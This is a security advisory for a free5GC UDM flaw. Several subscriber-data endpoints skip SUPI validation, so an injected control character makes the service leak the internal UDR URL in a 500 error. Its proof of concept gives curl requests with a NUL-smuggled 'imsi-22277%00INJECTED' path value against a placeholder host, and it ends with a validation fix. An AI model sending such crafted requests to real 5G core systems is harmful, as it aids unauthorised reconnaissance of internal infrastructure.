CVE-2026-42459

## Summary The free5GC UDM component fails to validate the `supi` path parameter in six GET handlers of the `nudm-sdm` (Subscriber Data Management) service. An unauthenticated attacker can inject control characters into the SUPI parameter, causing UDM to forward a malformed request to UDR and return a `500 Internal Server Error` response that exposes internal infrastructure details. ## Affected Package - **Ecosystem**: Go - **Package**: `github.com/free5gc/udm` - **Affected versions**: `<= v1.4.2` - **Patched versions**: none yet ## Details The following handlers in `internal/sbi/api_subscriberdatamanagement.go` do not call `validator.IsValidSupi()` before passing the `supi` parameter to the processor: - `HandleGetSmfSelectData` — `GET /:supi/smf-select-data` - `HandleGetSupi` — `GET /:supi` - `HandleGetTraceData` — `GET /:supi/trace-data` - `HandleGetUeContextInSmfData` — `GET /:supi/ue-context-in-smf-data` - `HandleGetNssai` — `GET /:supi/nssai` - `HandleGetSmData` — `GET /:supi/sm-data` By contrast, `HandleGetAmData` in the same file correctly validates the `supi` parameter: ```go // HandleGetAmData — correctly validates (not vulnerable) supi := c.Params.ByName("supi") if !validator.IsValidSupi(supi) { c.JSON(http.StatusBadRequest, problemDetail) return } // HandleGetSmfSelectData — missing validation (vulnerable) supi := c.Params.ByName("supi") // ← no validator.IsValidSupi(supi) call s.Processor().GetSmfSelectDataProcedure(c, supi, plmnID, supportedFeatures) ``` The malformed `supi` is passed to the processor which constructs a URL to forward the request to UDR. Go's `net/url` parser rejects the URL containing control characters and returns an error. UDM catches this error and responds with a `500 SYSTEM_FAILURE` that includes the full internal UDR URL in the `detail` field. **This is a missed fix of CVE-2026-27642**, which applied the same `validator.IsValidSupi()` check only to `internal/sbi/api_ueauthentication.go` (`HandleConfirmAuth` and `HandleGenerateAuthData`), leaving the SDM service handlers unpatched. ## Proof of Concept ```bash # Vulnerable — returns 500 with internal UDR URL exposed curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/smf-select-data" curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/nssai" curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/trace-data" curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/sm-data" # Expected (vulnerable) response: # HTTP 500 # { # "title": "System failure", # "status": 500, # "detail": "parse \"http://udr.internal:80/nudr-dr/v2/subscription-data/imsi-22277\x00INJECTED//provisioned-data/smf-selection-subscription-data\": net/url: invalid control character in URL", # "cause": "SYSTEM_FAILURE" # } # Protected endpoint (for comparison) — returns 400 curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/am-data" # HTTP 400 # {"title":"Malformed request syntax","status":400,"detail":"Supi is invalid","cause":"MANDATORY_IE_INCORRECT"} ``` ## Impact An unauthenticated remote attacker can send a crafted GET request to any of the six affected endpoints to obtain: 1. Internal UDR hostname and port 2. Full internal API path structure (`/nudr-dr/v2/subscription-data/...`) 3. UDR API version 4. Internal service naming convention This information can be used to facilitate further attacks against the UDR or other internal 5G core components. ## Recommended Fix Add `validator.IsValidSupi()` to all six affected handlers, following the pattern already used in `HandleGetAmData`: ```go supi := c.Params.ByName("supi") if !validator.IsValidSupi(supi) { problemDetail := models.ProblemDetails{ Title: "Malformed request syntax", Status: http.StatusBadRequest, Detail: "Supi is invalid", Cause: "MANDATORY_IE_INCORRECT", } c.Set(sbi.IN_PB_DETAILS_CTX_STR, http.StatusText(int(problemDetail.Status))) c.JSON(int(problemDetail.Status), problemDetail) return } ```

Free5GC UDM has Improper Input Validation and Generation of Error Messages Containing Sensitive Information in github.com/free5gc/udm